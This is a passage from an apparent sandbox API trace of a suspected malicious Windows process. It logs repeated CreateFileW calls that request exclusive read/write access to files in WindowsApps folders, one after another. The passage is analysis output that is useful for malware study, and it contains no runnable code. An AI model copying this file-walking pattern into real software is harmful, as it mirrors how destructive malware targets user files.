Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_pyramid.3mf", len=0x71 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_pyramid.3mf") returned 1 [0238.407] GetProcessHeap () returned 0x630000 [0238.407] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x523c) returned 0x6fe3bb0 [0238.407] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_pyramid.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_pyramid.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.408] Sleep (dwMilliseconds=0x1) [0238.422] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_hexagon.png", len=0x71 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_hexagon.png") returned 1 [0238.422] GetProcessHeap () returned 0x630000 [0238.422] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5238) returned 0x6fe3bb0 [0238.422] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_hexagon.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_hexagon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.424] Sleep (dwMilliseconds=0x1) [0238.518] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_hexagon.3mf", len=0x71 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_hexagon.3mf") returned 1 [0238.519] GetProcessHeap () returned 0x630000 [0238.519] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5234) returned 0x6fe3bb0 [0238.521] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_hexagon.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_hexagon.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.523] Sleep (dwMilliseconds=0x1) [0238.532] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cylinder.3mf", len=0x72 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cylinder.3mf") returned 1 [0238.532] GetProcessHeap () returned 0x630000 [0238.532] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x522c) returned 0x6fe3bb0 [0238.532] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cylinder.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_cylinder.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.533] Sleep (dwMilliseconds=0x1) [0238.564] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cone.png", len=0x6e | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cone.png") returned 1 [0238.564] GetProcessHeap () returned 0x630000 [0238.564] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5220) returned 0x6fe3bb0 [0238.564] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cone.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_cone.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.566] Sleep (dwMilliseconds=0x1) [0238.578] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cone.3mf", len=0x6e | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cone.3mf") returned 1 [0238.579] GetProcessHeap () returned 0x630000 [0238.579] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x521c) returned 0x6fe3bb0 [0238.579] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\shape_cone.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\shape_cone.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.588] Sleep (dwMilliseconds=0x1) [0238.594] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\paperboat.3mf", len=0x6d | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\paperboat.3mf") returned 1 [0238.594] GetProcessHeap () returned 0x630000 [0238.594] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5214) returned 0x6fe3bb0 [0238.594] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\paperboat.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\paperboat.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.596] Sleep (dwMilliseconds=0x1) [0238.642] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\chess.3mf", len=0x69 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\chess.3mf") returned 1 [0238.642] GetProcessHeap () returned 0x630000 [0238.642] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5208) returned 0x6fe3bb0 [0238.642] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\chess.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\chess.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.643] Sleep (dwMilliseconds=0x1) [0238.658] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\Catalog.json", len=0x6c | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\Catalog.json") returned 1 [0238.658] GetProcessHeap () returned 0x630000 [0238.658] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5204) returned 0x6fe3bb0 [0238.658] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\Catalog.json" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\catalog.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.660] Sleep (dwMilliseconds=0x1) [0238.672] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-white.png", len=0x75 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-white.png") returned 1 [0238.672] GetProcessHeap () returned 0x630000 [0238.672] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51fc) returned 0x6fe3bb0 [0238.672] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\cameraicon_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.674] Sleep (dwMilliseconds=0x1) [0238.689] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x", len=0x62 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0238.689] GetProcessHeap () returned 0x630000 [0238.690] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51f0) returned 0x6fe3bb0 [0238.690] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.692] Sleep (dwMilliseconds=0x1) [0238.703] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", len=0x6f | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat") returned 1 [0238.703] GetProcessHeap () returned 0x630000 [0238.703] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51ec) returned 0x6fe3bb0 [0238.704] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.705] Sleep (dwMilliseconds=0x1) [0238.720] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", len=0x67 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x") returned 1 [0238.720] GetProcessHeap () returned 0x630000 [0238.720] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51e0) returned 0x6fe3bb0 [0238.721] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.724] Sleep (dwMilliseconds=0x1) [0238.735] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", len=0x79 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned 1 [0238.735] GetProcessHeap () returned 0x630000 [0238.735] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51dc) returned 0x6fe3bb0 [0238.735] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.736] Sleep (dwMilliseconds=0x1) [0238.752] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Windows.xr.xml", len=0x5f | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Windows.xr.xml") returned 1 [0238.752] GetProcessHeap () returned 0x630000 [0238.752] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51d0) returned 0x6fe3bb0 [0238.752] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Windows.xr.xml" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\twitter.windows.xr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.752] Sleep (dwMilliseconds=0x1) [0238.766] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Windows.exe", len=0x5c | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Windows.exe") returned 1 [0238.766] GetProcessHeap () returned 0x630000 [0238.766] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51cc) returned 0x6fe3bb0 [0238.766] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Windows.exe" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\twitter.windows.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.766] Sleep (dwMilliseconds=0x1) [0238.782] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\TrendsAvailable.json", len=0x60 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\TrendsAvailable.json") returned 1 [0238.782] GetProcessHeap () returned 0x630000 [0238.782] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51c0) returned 0x6fe3bb0 [0238.782] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\TrendsAvailable.json" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\trendsavailable.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.784] Sleep (dwMilliseconds=0x1) [0238.798] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Hometimeline.json", len=0x5d | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Hometimeline.json") returned 1 [0238.798] GetProcessHeap () returned 0x630000 [0238.798] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51bc) returned 0x6fe3bb0 [0238.798] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Hometimeline.json" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\hometimeline.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.799] Sleep (dwMilliseconds=0x1) [0238.813] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-80_contrast-black.png", len=0x74 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-80_contrast-black.png") returned 1 [0238.813] GetProcessHeap () returned 0x630000 [0238.813] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51b0) returned 0x6fe3bb0 [0238.813] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-80_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\widelogo.scale-80_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.814] Sleep (dwMilliseconds=0x1) [0238.828] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-80.png", len=0x65 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-80.png") returned 1 [0238.828] GetProcessHeap () returned 0x630000 [0238.828] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51ac) returned 0x6fe3bb0 [0238.829] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-80.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\widelogo.scale-80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.829] Sleep (dwMilliseconds=0x1) [0238.845] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-180.png", len=0x66 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-180.png") returned 1 [0238.845] GetProcessHeap () returned 0x630000 [0238.845] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51a0) returned 0x6fe3bb0 [0238.845] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-180.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\widelogo.scale-180.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.846] Sleep (dwMilliseconds=0x1) [0238.860] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-140_contrast-white.png", len=0x75 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-140_contrast-white.png") returned 1 [0238.860] GetProcessHeap () returned 0x630000 [0238.860] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x519c) returned 0x6fe3bb0 [0238.860] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-140_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\widelogo.scale-140_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.860] Sleep (dwMilliseconds=0x1) [0238.876] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-100_contrast-white.png", len=0x75 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-100_contrast-white.png") returned 1 [0238.876] GetProcessHeap () returned 0x630000 [0238.876] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5190) returned 0x6fe3bb0 [0238.876] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-100_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\widelogo.scale-100_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.876] Sleep (dwMilliseconds=0x1) [0238.891] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-100_contrast-black.png", len=0x75 | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-100_contrast-black.png") returned 1 [0238.891] GetProcessHeap () returned 0x630000 [0238.891] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x518c) returned 0x6fe3bb0 [0238.891] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-100_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\widelogo.scale-100_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.891] Sleep (dwMilliseconds=0x1) [0238.907] SysReAllocStringLen (in: pbstr=0x50fff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-400_contrast-black.png", len=0x7c | out: pbstr=0x50fff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-400_contrast-black.png") returned 1 [0238.908] GetProcessHeap () returned 0x630000 [0238.908] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5180) returned 0x6fe3bb0 [0238.908] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-400_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-400_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 